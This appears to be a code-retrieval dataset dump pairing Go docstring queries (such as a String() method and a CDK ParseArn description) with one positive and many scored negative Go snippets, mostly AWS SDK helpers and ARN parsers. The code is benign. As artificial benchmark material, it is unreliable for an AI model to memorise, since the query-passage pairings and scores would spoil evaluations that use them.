query_id
stringlengths
32
32
query
stringlengths
7
4.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
1dab691f1311c4e656e1ecbf69c84ed8
String returns the string representation
[ { "docid": "7512893d7d24619e8ee4d40910a51d1d", "score": "0.0", "text": "func (s CopyObjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
[ { "docid": "8e4fe833d77ab2b8fff952da4633082f", "score": "0.7118059", "text": "func (s CreateFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d2f6e24fdd02f3ebb7dc1eebba3a17a0", "score": "0.7078128", "text": "func (r *Record) String() string {\n\tif result, err := toolbox.AsJSONText(r.AsMap()); err == nil {\n\t\treturn result\n\t}\n\treturn fmt.Sprintf(\"%v\", (*r))\n}", "title": "" }, { "docid": "11de7267cdfe6d4a59aabf06ee58f2c5", "score": "0.7077297", "text": "func (a Create) String() string {\n\traw, err := json.MarshalIndent(\n\t\ta,\n\t\t\" \",\n\t\t\".\",\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(raw)\n}", "title": "" }, { "docid": "3023f5a9db8caee3b526dd77ddbfe5a1", "score": "0.70727754", "text": "func (signatory Signatory) String() string {\n\treturn base64.RawURLEncoding.EncodeToString(signatory[:])\n}", "title": "" }, { "docid": "2c919d18685112d798d30ef9bae4a391", "score": "0.7046963", "text": "func (s CreateRouteCalculatorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e1f1295f482f2ba6ac0ee700f4a89e70", "score": "0.70317215", "text": "func (c Classes) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "26a09912d58bbdc945167d21189682db", "score": "0.7029279", "text": "func (s Eirp) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1b505a985665493e7eb90ed069f5a4b3", "score": "0.70279396", "text": "func (o *Createworkplanshift) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "cc697c6d4e0f438b8f84aa8e9261c240", "score": "0.7017076", "text": "func (o *Assessmentquestionscore) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "6c1d126231febc2e0b30f3ac4e51ea1c", "score": "0.70147383", "text": "func (o *Flowversion) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "70261f40e54aed965b66b3c549042fa9", "score": "0.7008673", "text": "func (c Class) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "7462eb31995ca0f7bd9f1c33651e0461", "score": "0.70079106", "text": "func (o *Dialerrule) String() string {\n \n \n \n o.Conditions = []Condition{{}} \n o.Actions = []Dialeraction{{}} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "ca774620ae67ba8bc5f87e3d91608649", "score": "0.69989693", "text": "func (g Game) String() string {\n\tjg, _ := json.Marshal(g)\n\treturn string(jg)\n}", "title": "" }, { "docid": "f567f4d9cc26fe5a2b4c893f59399681", "score": "0.69932973", "text": "func (s OutputSerialization) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a80e5b23ee4915c2e43addc35691ab99", "score": "0.6990454", "text": "func (o *Createobjective) String() string {\n \n o.Zones = []Objectivezone{{}} \n \n o.TopicIds = []string{\"\"} \n o.MediaTypes = []string{\"\"} \n o.QueueIds = []string{\"\"} \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "2745ac7ea507c32cfddbffafb7732f51", "score": "0.69855314", "text": "func String() (string, error) {\n\tverInfo := versionInfo{\n\t\tVersion: Version,\n\t\tGitShortHash: GitShortHash,\n\t\tBuilt: BuildTime,\n\t}\n\n\tverInfoJSON, err := json.Marshal(verInfo)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"version: failed to marshal version info: %v: %v\", verInfo, err)\n\t}\n\n\treturn string(verInfoJSON), nil\n}", "title": "" }, { "docid": "53384305cea99c20995c3e82f8fad13d", "score": "0.6976536", "text": "func (r Record) String() string {\n return fmt.Sprintf(\"[simp: %q trad: %q pinyin: %q english: %q]\", r.Simp, r.Trad, r.Pinyin, r.English)\n}", "title": "" }, { "docid": "1eb083aaf7a236100539da1df9286041", "score": "0.6974436", "text": "func (s CreateQuantumTaskOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "81cd62e74f3f737aa4f474916ce5bd85", "score": "0.69702286", "text": "func (n *Node) String() string {\n\tbuf := new(bytes.Buffer)\n\tn.print(buf, 0)\n\treturn string(buf.Bytes())\n}", "title": "" }, { "docid": "aaa6e4b43d3c57b4c7a86832cdbdd72d", "score": "0.696803", "text": "func (bez *T) String() string {\n\treturn fmt.Sprintf(\"%s %s %s %s\",\n\t\tbez.P0.String(), bez.P1.String(),\n\t\tbez.P2.String(), bez.P3.String(),\n\t)\n}", "title": "" }, { "docid": "d8f3b98fe1d974bbb19e49ead6a443b3", "score": "0.69663584", "text": "func (o *Createcallrequest) String() string {\n \n \n \n \n \n \n \n \n o.RoutingSkillsIds = []string{\"\"} \n o.ConversationIds = []string{\"\"} \n o.Participants = []Destination{{}} \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "f17b3e7c6347aebbc9891ab19e6072ae", "score": "0.6962862", "text": "func (s CalculateRouteMatrixOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d798fbd67817a88e5402a939856b9a53", "score": "0.69563717", "text": "func (c Components) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "29fe56f84fefe1d26283f3d907ab0870", "score": "0.6953571", "text": "func (sc stateComponent) String() string {\n\treturn fmt.Sprintf(\"ID:%s, Type:%s, Class:%s, NID:%d, Role:%s\", sc.ID, sc.Type, sc.Class, sc.NID, sc.Role)\n}", "title": "" }, { "docid": "a617ce575f08753fabe0393d338aefe8", "score": "0.6949237", "text": "func (s GetObjectTorrentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "62139d383a9352c35a1017272ea215eb", "score": "0.69460964", "text": "func (s CreateRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8cb3c5de81427803c32de22ad41884e2", "score": "0.6944171", "text": "func (a Antis) String() string {\n\tja, _ := json.Marshal(a)\n\treturn string(ja)\n}", "title": "" }, { "docid": "87383e35a84c04a5044e15ec5c87659c", "score": "0.69354516", "text": "func (g Games) String() string {\n\tjg, _ := json.Marshal(g)\n\treturn string(jg)\n}", "title": "" }, { "docid": "87383e35a84c04a5044e15ec5c87659c", "score": "0.69354516", "text": "func (g Games) String() string {\n\tjg, _ := json.Marshal(g)\n\treturn string(jg)\n}", "title": "" }, { "docid": "dd312d9ed43050379b479b499e8fd811", "score": "0.69305265", "text": "func (s Spec) String() string {\n\tres := make([]string, 5)\n\tres[0] = \"Status: \" + reform.Inspect(s.Status, true)\n\tres[1] = \"Filename: \" + reform.Inspect(s.Filename, true)\n\tres[2] = \"LineNumber: \" + reform.Inspect(s.LineNumber, true)\n\tres[3] = \"CommitID: \" + reform.Inspect(s.CommitID, true)\n\tres[4] = \"CreatedAt: \" + reform.Inspect(s.CreatedAt, true)\n\treturn strings.Join(res, \", \")\n}", "title": "" }, { "docid": "c888b42fa516bb64f8356548203c1e07", "score": "0.69232535", "text": "func (s DefineExpressionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7f4bbcccf67bc135dbb05e551b36219c", "score": "0.69180065", "text": "func (v version) String() string {\n\treturn string(v)\n}", "title": "" }, { "docid": "c746f062957e541550ffc94162967b06", "score": "0.6911018", "text": "func (s CreateReceiptRuleOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2a7047abe98f55cdae1f8f9737cdce8d", "score": "0.6910465", "text": "func (s GetRawMessageContentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "90d3947115ca45e33d944b1ef0bb05d6", "score": "0.6910086", "text": "func (o *Outcomeeventscore) String() string {\n \n \n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "4695cdd7ab10fbe10b475b0a5a2a237e", "score": "0.6901282", "text": "func (s TestDNSAnswerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4885cf08e9c364b48c7f2d49c8df9678", "score": "0.6898203", "text": "func (x *Rat) String() string", "title": "" }, { "docid": "fd6bdcb061edefea01e1cc2a37078332", "score": "0.68971384", "text": "func (o *Learningmoduleinformstep) String() string {\n \n \n \n \n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "c655591c051e2135db6fccdfbbea1dc0", "score": "0.6896518", "text": "func (A Accounts) String() string {\n\treturn A.writeXML()\n}", "title": "" }, { "docid": "e4cea371f2b2989690e639e9950a2ce2", "score": "0.6885997", "text": "func (s EnableMacieOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b3e04d34cdac2bf400cb7203f726c8bf", "score": "0.68852645", "text": "func (s RestoreCertificateAuthorityOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "aec3537a77a10d483658684e01e1f449", "score": "0.6883603", "text": "func (s TestRenderTemplateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "712a9cc6d85a3a1ab32a01c8e60cd601", "score": "0.6879803", "text": "func (b *Binary) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"(\")\n\tsb.WriteString(b.Operator.Lexeme)\n\tsb.WriteString(\" \")\n\tsb.WriteString(b.Left.String())\n\tsb.WriteString(\" \")\n\tsb.WriteString(b.Right.String())\n\tsb.WriteString(\")\")\n\treturn sb.String()\n}", "title": "" }, { "docid": "06b6988992d65aa140e3258ba3a93cef", "score": "0.6878558", "text": "func (s RestoreObjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "447d893eb90b28ea965bfd1b0cf796fe", "score": "0.6870243", "text": "func (g *Game) String() string {\n\tjg, _ := json.Marshal(g)\n\treturn string(jg)\n}", "title": "" }, { "docid": "9b033cab4ea26cecaff8d0dcd7c34b9b", "score": "0.68700796", "text": "func (s *stringer) String() string {\n return string(s.data)\n}", "title": "" }, { "docid": "ac117d500dab5d61e6910b44453a74f1", "score": "0.6868373", "text": "func (c Contratos) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "d0215beb45b524075b7ad2982760b5b4", "score": "0.68677104", "text": "func (s CreateProjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e7629ffc579da02c648cad037e83e4d0", "score": "0.6867409", "text": "func (s CreateActivationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b76314b06d7057f3a3bc93ecdec21520", "score": "0.68670464", "text": "func (s CreateResourceDefinitionVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6bd53f307d46f82cb70fa2bd0bf2edaf", "score": "0.68668526", "text": "func (s SendVoiceMessageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "029903bc8a5b7ad12cbf235053a286b4", "score": "0.6866799", "text": "func (d *SequenceDiagram) String() string { return toString(d) }", "title": "" }, { "docid": "a35002b20d87122946dfdadc9ea4143d", "score": "0.68643457", "text": "func String() string {\n\treturn string(JSON())\n}", "title": "" }, { "docid": "beb0625ef00757a3591d57e639cb2f90", "score": "0.68594575", "text": "func (s UpdateRouteCalculatorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8025f47695a150198fb5b6ab12bcf4eb", "score": "0.68574107", "text": "func (s CreateAnomalyDetectorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "37d07d983159533a650d97deae401221", "score": "0.6857289", "text": "func (xsk *SK) String() string {\n\treturn fmt.Sprintf(\"%x\", xsk.serialize())\n}", "title": "" }, { "docid": "d40ec5ba7a0ee645a5c049425aaadf9a", "score": "0.6856373", "text": "func (of OutputFormat) String() string {\n\treturn string(of)\n}", "title": "" }, { "docid": "e956b308bd2b3e7002b5c3e0f2f9d291", "score": "0.68557215", "text": "func (s ExecuteGremlinQueryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ab6d8e4ffa02c276637e4fbda71e824", "score": "0.6853781", "text": "func (s CreateThingOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3f1a632e93310c4f56222960d6eedb1c", "score": "0.68502903", "text": "func (s CreatePatchBaselineOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "bbab7ca9e7be50e80b0aede77160166d", "score": "0.6843722", "text": "func (s CreateCaseOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5279750ae5344e06aacacad3d45f5087", "score": "0.68410385", "text": "func (s GetObjectOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "af7e83b226664a10979cb02f117182c4", "score": "0.684033", "text": "func (s CreateDocumentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a27c6f2c4d08aaaaff984e8c1b13b24d", "score": "0.6839273", "text": "func (s DeleteRouteCalculatorOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7f798df7871e2e709220a58cb5480b25", "score": "0.68381226", "text": "func (s CreateResourceOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3f9b199981a4e1345a0566bee40b0dc9", "score": "0.6836858", "text": "func (g Feature) String() string {\n\treturn g.JSON()\n}", "title": "" }, { "docid": "6ebe18c38e96ee3753db3e9737addecc", "score": "0.68365705", "text": "func (s RenewCertificateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "018196cdcad01969d05f6f46213c6a26", "score": "0.6834549", "text": "func (o *Schedulegenerationwarning) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "fb608105c88d8d9b4d83e2bf3a746bb0", "score": "0.68340653", "text": "func (pow *ProofOfWork) String() string {\n\treturn fmt.Sprintf(\"%d$%s$%d\", pow.Bits, base64.StdEncoding.EncodeToString([]byte(pow.Data)), pow.Proof)\n}", "title": "" }, { "docid": "e296f79efad274b1ee2529476cf22803", "score": "0.6833212", "text": "func (s CreateTapesOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a00fef8a863683f38d8f14178d8771fd", "score": "0.68314844", "text": "func (s StartContactRecordingOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "71f910834eed090a5e1f11f4d044794a", "score": "0.68292266", "text": "func (s CreateLicenseVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7c410f7aa74b661bbce07184a32cf96d", "score": "0.6828218", "text": "func (s GetFieldLevelEncryptionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1a07953427d1700328d3c85e14e52ee2", "score": "0.6827104", "text": "func (s SendActivationCodeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "cd9cd46e1c2a167461134960f71b7b1b", "score": "0.6825796", "text": "func (i FrameSideInfo) String() string {\n\tstr := \"\"\n\tstr += fmt.Sprintf(\" NDataBegin: %v\\n\", i.NDataBegin())\n\treturn str\n}", "title": "" }, { "docid": "2a9695d6d4471e3c3918037c09ea8126", "score": "0.6823897", "text": "func (o *Subjectdivisiongrants) String() string {\n \n o.Divisions = []Division{{}} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "b95fa873ee43e7f8cc2dc963dd9c8268", "score": "0.6823129", "text": "func (s GetQuantumTaskOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0bcfee642a4cedb68d5a16da6f0d361a", "score": "0.6821906", "text": "func (d Databases) String() string {\n\tjd, _ := json.Marshal(d) //nolint:errchkjson\n\treturn string(jd)\n}", "title": "" }, { "docid": "8bb555389652c57f0120c25a3aed3a79", "score": "0.68199235", "text": "func (s *SBool) String() string {\n\treturn fmt.Sprint(*s)\n}", "title": "" }, { "docid": "9810048edb9556797d53431514014128", "score": "0.68161494", "text": "func (s DeletePatchBaselineOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "82bab7334c8fde9585a49aa7f75b22ca", "score": "0.6815921", "text": "func (s DeleteFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "51e0720d5b211fe544c6bff31c4c5bdb", "score": "0.681579", "text": "func (s QueryLanguageVersion) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4911d14a8bd38fdb0ab3d6cdc570274f", "score": "0.68135107", "text": "func (s CreatePipelineOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5cffc469884407888a214486914a99ce", "score": "0.6812447", "text": "func (s ObjectVersion) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7e02601ea48e78fde14e4697dbc50f36", "score": "0.68123573", "text": "func (s OpenXJsonSerDe) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "792ef5244901c7cacd921482cf3db163", "score": "0.6808788", "text": "func (o *Predictiverouting) String() string {\n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "7c9b88633d0c46e5f69db8e84b190924", "score": "0.6808454", "text": "func (s CreateLoggerDefinitionVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7fbb434a1cde960c67c35825e67523bc", "score": "0.68051094", "text": "func (o *Worktypeversion) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "6cb501a262e9dff7ddb21b43536b0be2", "score": "0.68044376", "text": "func (s DefineAnalysisSchemeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "82f85525c13e6387fa0fd172ffead5cd", "score": "0.6803043", "text": "func (a Arn) String() string {\n\treturn fmt.Sprintf(\"{Service:%s, AccountID:%s, ResourceID:%s}\", a.Service, a.AccountID, a.ResourceID)\n}", "title": "" }, { "docid": "e279c3f5cbce815af4ea333fe924f849", "score": "0.68030185", "text": "func (s CreateFunctionDefinitionVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "777bb879e4bcbecfb1b5e68162f15da3", "score": "0.68019754", "text": "func (s VerifyTrustOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0545224b6172b31603560985e9d8945a", "score": "0.6800078", "text": "func (o ExportRuleCreateRequestProtocol) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "694636a40918776eb4b46072e4e9325f", "score": "0.6799967", "text": "func (s CreateKeysAndCertificateOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "81298d9e7cc8ba7be587c5b07057f683", "score": "0.6799033", "text": "func (t *Object) String() string {\n\treturn t.SDL()\n}", "title": "" }, { "docid": "09b4e971f70da12d92b94dd018b1048d", "score": "0.6798273", "text": "func (s CreateCertificateAuthorityOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c56713aa0b86717b260d3ef7c35b288c", "score": "0.6796843", "text": "func (o *Wfmagent) String() string {\n \n \n \n \n o.Queues = []Queuereference{{}} \n o.Languages = []Languagereference{{}} \n o.Skills = []Routingskillreference{{}} \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "9778a44a506538c1ad098df38d8b69f7", "score": "0.67959684", "text": "func (r Resources) String() string {\n\tvar b bytes.Buffer\n\tb.WriteString(\"{\")\n\tr.writeResources(&b)\n\tb.WriteString(\"}\")\n\treturn b.String()\n}", "title": "" }, { "docid": "f7300cc90ebe73c18e9f58e4cfc1f2b6", "score": "0.6795427", "text": "func (t Teams) String() string {\n\tjt, _ := json.Marshal(t)\n\treturn string(jt)\n}", "title": "" }, { "docid": "539554306a81391dcbabdf6b2ad71df4", "score": "0.67932236", "text": "func (s JSONOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
cb1024f9622b101e275dfd8c6c4597a7
Given an ARN, parses it and returns components. IF THE ARN IS A CONCRETE STRING... ...it will be parsed and validated. The separator (`sep`) will be set to '/' if the 6th component includes a '/', in which case, `resource` will be set to the value before the '/' and `resourceName` will be the rest. In case there is no '/', `resource` will be set to the 6th components and `resourceName` will be set to the rest of the string. IF THE ARN IS A TOKEN... ...it cannot be validated, since we don't have the actual value yet at the time of this function call. You will have to supply `sepIfToken` and whether or not ARNs of the expected format usually have resource names in order to parse it properly. The resulting `ArnComponents` object will contain tokens for the subexpressions of the ARN, not string literals. If the resource name could possibly contain the separator char, the actual resource name cannot be properly parsed. This only occurs if the separator char is '/', and happens for example for S3 object ARNs, IAM Role ARNs, IAM OIDC Provider ARNs, etc. To properly extract the resource name from a Tokenized ARN, you must know the resource type and call `Arn.extractResourceName`. Returns: an ArnComponents object which allows access to the various components of the ARN. Deprecated: use splitArn instead
[ { "docid": "4b0c889434f7fed7d85891e84041c3da", "score": "0.518846", "text": "func (n *jsiiProxy_NestedStack) ParseArn(arn *string, sepIfToken *string, hasName *bool) *awscdk.ArnComponents {\n\tvar returns *awscdk.ArnComponents\n\n\t_jsii_.Invoke(\n\t\tn,\n\t\t\"parseArn\",\n\t\t[]interface{}{arn, sepIfToken, hasName},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" } ]
[ { "docid": "a9075eb043e1bd5bfa3282e055259376", "score": "0.7022992", "text": "func Parse(arn string) (*Components, error) {\n\tpieces := strings.SplitN(arn, \":\", 6)\n\n\tif err := validate(arn, pieces); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcomponents := &Components{\n\t\tARN: pieces[0],\n\t\tPartition: pieces[1],\n\t\tService: pieces[2],\n\t\tRegion: pieces[3],\n\t\tAccountID: pieces[4],\n\t}\n\tif n := strings.Count(pieces[5], \":\"); n > 0 {\n\t\tcomponents.ResourceDelimiter = \":\"\n\t\tresourceParts := strings.SplitN(pieces[5], \":\", 2)\n\t\tcomponents.ResourceType = resourceParts[0]\n\t\tcomponents.Resource = resourceParts[1]\n\t} else {\n\t\tif m := strings.Count(pieces[5], \"/\"); m == 0 {\n\t\t\tcomponents.Resource = pieces[5]\n\t\t} else {\n\t\t\tcomponents.ResourceDelimiter = \"/\"\n\t\t\tresourceParts := strings.SplitN(pieces[5], \"/\", 2)\n\t\t\tcomponents.ResourceType = resourceParts[0]\n\t\t\tcomponents.Resource = resourceParts[1]\n\t\t}\n\t}\n\treturn components, nil\n}", "title": "" }, { "docid": "ca6a0309e40ccde296a35d0b149be540", "score": "0.598767", "text": "func parseARN(a string) (ECRSpec, error) {\n\tparsed, err := arn.Parse(a)\n\tif err != nil {\n\t\treturn ECRSpec{}, err\n\t}\n\n\t// remove label & digest\n\tvar object string\n\tif delimiterIndex := splitRe.FindStringIndex(parsed.Resource); delimiterIndex != nil {\n\t\t// This allows us to retain the @ to signify digests or shortened digests in\n\t\t// the object.\n\t\tobject = parsed.Resource[delimiterIndex[0]:]\n\t\t// trim leading :\n\t\tif object[:1] == \":\" {\n\t\t\tobject = object[1:]\n\t\t}\n\t\tparsed.Resource = parsed.Resource[:delimiterIndex[0]]\n\t}\n\n\t// strip \"repository/\" prefix\n\trepositorySections := strings.SplitN(parsed.Resource, repositoryDelimiter, 2)\n\tif len(repositorySections) != 2 {\n\t\treturn ECRSpec{}, invalidARN\n\t}\n\treturn ECRSpec{\n\t\tarn: parsed,\n\t\tRepository: repositorySections[1],\n\t\tObject: object,\n\t}, nil\n\n}", "title": "" }, { "docid": "d36e7655873cde8fff701585e7b0b9cf", "score": "0.5062856", "text": "func (n *jsiiProxy_NestedStack) SplitArn(arn *string, arnFormat awscdk.ArnFormat) *awscdk.ArnComponents {\n\tvar returns *awscdk.ArnComponents\n\n\t_jsii_.Invoke(\n\t\tn,\n\t\t\"splitArn\",\n\t\t[]interface{}{arn, arnFormat},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "657d8642061574045cbe4d935da87557", "score": "0.49009207", "text": "func (r ResourceName) Split() (string, string) {\n\tsplit := strings.SplitN(string(r), \"/\", 2)\n\tif len(split) != 2 {\n\t\treturn \"\", string(r)\n\t}\n\treturn split[0], split[1]\n}", "title": "" }, { "docid": "3bb5f3ee8654495826fadde6efcba40c", "score": "0.47223994", "text": "func GetPrefixFromARN(inputARN string) (string, error) {\n\tarn, err := arn.Parse(inputARN)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error parsing ARN (%s): %s\", inputARN, err)\n\t}\n\treturn fmt.Sprintf(\"arn:%s:iam::\", arn.Partition), nil\n}", "title": "" }, { "docid": "4c16f1a5629893a81fb157b4eda44c25", "score": "0.46670327", "text": "func (o NetworkInsightsAnalysisReturnPathComponentComponentOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentComponent) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5d013c6340a67a0c2aedac5a0c8a9095", "score": "0.45619544", "text": "func SplitAndParseResourceRequest(inResource string, mapper meta.RESTMapper) (schema.GroupVersionResource, []string, error) {\n\tinResource, fieldsPath := splitDotNotation(inResource)\n\tgvr, err := mapper.ResourceFor(schema.GroupVersionResource{Resource: inResource})\n\tif err != nil {\n\t\treturn schema.GroupVersionResource{}, nil, err\n\t}\n\n\treturn gvr, fieldsPath, nil\n}", "title": "" }, { "docid": "cddf299b31eef4517aec07bc51d7c005", "score": "0.45040107", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentComponentOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentComponent) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b6a1ffbd601e05043edae3532f030373", "score": "0.44393027", "text": "func ParseRef(ref string) (ECRSpec, error) {\n\tif !strings.HasPrefix(ref, refPrefix) {\n\t\treturn ECRSpec{}, invalidARN\n\t}\n\tstripped := ref[len(refPrefix):]\n\treturn parseARN(stripped)\n}", "title": "" }, { "docid": "d32eb3a24f82306ad50b91c578589bc4", "score": "0.4431106", "text": "func (spec ECRSpec) ARN() string {\n\treturn spec.arn.String()\n}", "title": "" }, { "docid": "e16e926ccc429d8d038e437757227ba8", "score": "0.43989548", "text": "func SplitAndParseResourceRequestWithMatchingPrefix(inResource string, mapper meta.RESTMapper) (gvr schema.GroupVersionResource, fieldsPath []string, err error) {\n\t// ignore trailing period\n\tinResource = strings.TrimSuffix(inResource, \".\")\n\tdotParts := strings.Split(inResource, \".\")\n\n\tgvrs, err := mapper.ResourcesFor(schema.GroupVersionResource{Resource: dotParts[0]})\n\tif err != nil {\n\t\treturn schema.GroupVersionResource{}, nil, err\n\t}\n\n\tfor _, gvrItem := range gvrs {\n\t\t// Find first gvr whose gr prefixes requested resource\n\t\tgroupResource := gvrItem.GroupResource().String()\n\t\tif strings.HasPrefix(inResource, groupResource) {\n\t\t\tresourceSuffix := inResource[len(groupResource):]\n\t\t\tif len(resourceSuffix) > 0 {\n\t\t\t\tdotParts := strings.Split(resourceSuffix, \".\")\n\t\t\t\tif len(dotParts) > 0 {\n\t\t\t\t\tfieldsPath = dotParts[1:]\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn gvrItem, fieldsPath, nil\n\t\t}\n\t}\n\n\t// If no match, take the first (the highest priority) gvr\n\tif len(gvrs) > 0 